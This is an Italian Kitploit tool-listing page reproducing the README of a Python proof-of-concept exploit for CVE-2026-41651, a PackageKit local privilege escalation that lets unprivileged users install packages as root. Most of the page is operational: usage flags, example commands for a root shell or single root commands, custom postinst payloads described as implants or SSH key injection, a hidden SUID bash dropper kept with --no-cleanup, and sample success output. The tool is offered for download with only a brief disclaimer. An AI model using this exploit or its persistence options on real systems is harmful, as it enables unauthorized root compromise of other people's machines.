Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-41651-Python — Exploit proof-of-concept in Python per CVE-2026-41651, una escalation locale di privilegi TOCTOU in PackageKit che consente a utenti non privilegiati di installare pacchetti come root. Include modalità di verifica, supporto per payload personalizzato e dropper bash SUID. | Kitploit
Strumenti/GitHubGitHub/mawussid/
cve-2026-41651-python
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubmawussid/cve-2026-41651-python

CVE-2026-41651-Python

Exploit proof-of-concept in Python per CVE-2026-41651, una escalation locale di privilegi TOCTOU in PackageKit che consente a utenti non privilegiati di installare pacchetti come root. Include modalità di verifica, supporto per payload personalizzato e dropper bash SUID.

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Pack2TheRoot: CVE-2026-41651 (Python)

PoC Python dell'exploit di escalation dei privilegi locali TOCTOU di PackageKit. Qualsiasi utente locale non privilegiato può installare pacchetti arbitrari come root senza alcuna autenticazione.

CampoValore
CVECVE-2026-41651
ComponentePackageKit daemon (packagekitd)
Versioni affette1.0.2 – 1.3.4
Risolto in1.3.5
ImpattoEscalation dei privilegi locali → root

Dichiarazione di non responsabilità

Questo strumento è fornito solo per scopi educativi e di ricerca sulla sicurezza autorizzati.


Requisiti

Sistema operativo vulnerabile: Qualsiasi distribuzione Linux che esegua PackageKit >= 1.0.2 <= 1.3.4.

Limitazione del PoC: il costruttore di pacchetti integrato produce solo file .deb, quindi lo script richiede un host Debian/Ubuntu per essere eseguito così com'è. Su sistemi basati su RPM, fornisci un payload postinst personalizzato tramite --payload-script e assicurati che dpkg/dpkg-dev sia disponibile, oppure adatta il costruttore.

Python: 3.6+

Pacchetti di sistema (Debian/Ubuntu):

root@kitploit:~
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0

Nota sulle dipendenze: python3-dbus e python3-gi non fanno parte della libreria standard di Python, ma sono quasi sempre già presenti su qualsiasi macchina che esegue un ambiente desktop grafico (GNOME, KDE, XFCE, ecc.), perché questi ambienti dipendono direttamente da essi. Su un'installazione standard di Ubuntu Desktop entrambe le librerie sono disponibili senza installazione manuale. Su un server minimale senza interfaccia grafica potrebbero essere assenti, quindi in tal caso il comando apt install sopra richiede sudo, il che contraddice il contesto LPE. In pratica, qualsiasi macchina che esegue PackageKit con una sessione desktop avrà già queste dipendenze soddisfatte.

gir1.2-glib-2.0 fornisce i file typelib di GObject Introspection per GLib. python3-gi è il motore di binding Python, ma ha bisogno di questi file typelib per sapere come comunicare specificamente con GLib. Senza questo pacchetto, from gi.repository import GLib fallisce anche se python3-gi è installato. Entrambi vengono installati automaticamente da qualsiasi desktop basato su GNOME.

Nota sul tentativo solo stdlib: Una versione precedente di questo PoC ha tentato di rimuovere completamente queste dipendenze sostituendo le chiamate D-Bus con processi figli gdbus/dbus-send, quindi parlando il protocollo D-Bus direttamente tramite il socket Unix. Entrambi gli approcci non sono riusciti a innescare in modo affidabile la race condition TOCTOU: la generazione di processi esterni introduce una latenza sufficiente tra le due chiamate InstallFiles tale che PackageKit elabora il Passo 1 prima che arrivi il Passo 2, rompendo la race condition. Il binding dbus-python invia entrambe le chiamate in modalità fire-and-forget sullo stesso socket già aperto senza overhead di fork, il che fa funzionare la temporizzazione. La versione solo stdlib è stata annullata per questo motivo.

Verifica la versione di PackageKit (senza il PoC):

root@kitploit:~
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii

Utilizzo

root@kitploit:~
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
                         [--payload-script FILE] [--suid-path PATH]
                         [--no-cleanup] [--timeout N] [--quiet]
FlagDescrizione
--checkInterroga la versione di PackageKit e segnala la vulnerabilità, poi esce
--exec CMDEsegue un singolo comando come root invece di aprire una shell interattiva
--payload-script FILEUsa uno script postinst personalizzato invece del dropper SUID bash integrato
--suid-path PATHDove rilasciare la SUID bash (default: /tmp/.suid_bash)
--no-cleanupMantiene la SUID bash dopo l'uscita dalla shell
--timeout NSecondi per sondare la SUID bash (default: 120)
--quietSopprime l'output di avanzamento (per scripting)

Esempi:

root@kitploit:~
# Verifica se il target è vulnerabile (nessun exploit)
python3 cve-2026-41651.py --check

# Exploit completo → shell root interattiva
python3 cve-2026-41651.py

# Esegue un singolo comando come root
python3 cve-2026-41651.py --exec "id"

# Payload personalizzato (impianto, iniezione chiave SSH…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh

# Mantiene la SUID bash dopo l'uscita, percorso personalizzato
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup

# Modalità scriptabile / veloce
python3 cve-2026-41651.py --timeout 60 --quiet

Output previsto:

root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy   : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

Crediti

Basato sul PoC C originale di Vozec. Questa è una riscrittura in Python per portabilità. Tutto il merito per la tecnica di exploit va all'autore originale.

Riscrittura Python sviluppata con l'assistenza di Claude (Anthropic).

Scarica lo strumento